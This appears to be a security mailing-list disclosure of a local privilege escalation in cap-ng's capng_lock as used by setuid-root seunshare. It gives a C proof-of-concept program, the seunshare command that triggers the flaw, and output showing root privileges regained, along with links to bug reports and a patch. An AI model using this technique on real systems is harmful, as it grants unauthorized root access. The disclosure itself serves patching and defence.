local privilege escalation due to capng_lock as used in seunshare

[Andy Lutomirski <luto () amacapital net>]

cap-ng's capng_lock function is insecure, seunshare uses it, and
seunshare is installed setuid root.

This results in a setuid program like this:

#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>

int main()
{
  if (setuid(getuid()) != 0)
    err(1, "setuid(getuid())");

  printf("Dropped privs; real uid is %lu and effective uid is %lu\n",
     (unsigned long)getuid(), (unsigned long)geteuid());

  seteuid(0);

  /* Do something that risks executing untrusted code here */

  if (geteuid() == 0) {
    printf("It's baaaack!\n");
  } else {
    printf("Phew, safe.\n");
  }

  return 0;
}

behaving like this:

$ ./sesploit
Dropped privs; real uid is 1000 and effective uid is 1000
Phew, safe.

This is okay until an attacker does:

$ seunshare -t . `realpath ./sesploit`
Dropped privs; real uid is 1000 and effective uid is 1000
It's baaaack!

newrole may have the same issue.

This was described recently here:
http://seclists.org/fulldisclosure/2014/Apr/262

and has been publicly disclosed in Red Hat's bugzilla for quite some time:
https://bugzilla.redhat.com/show_bug.cgi?id=1035427
https://bugzilla.redhat.com/show_bug.cgi?id=885288

I believe that there is at least one setuid program that can be used
as a vector and is widely installed.

There's a patch here:

https://bugzilla.redhat.com/attachment.cgi?id=829864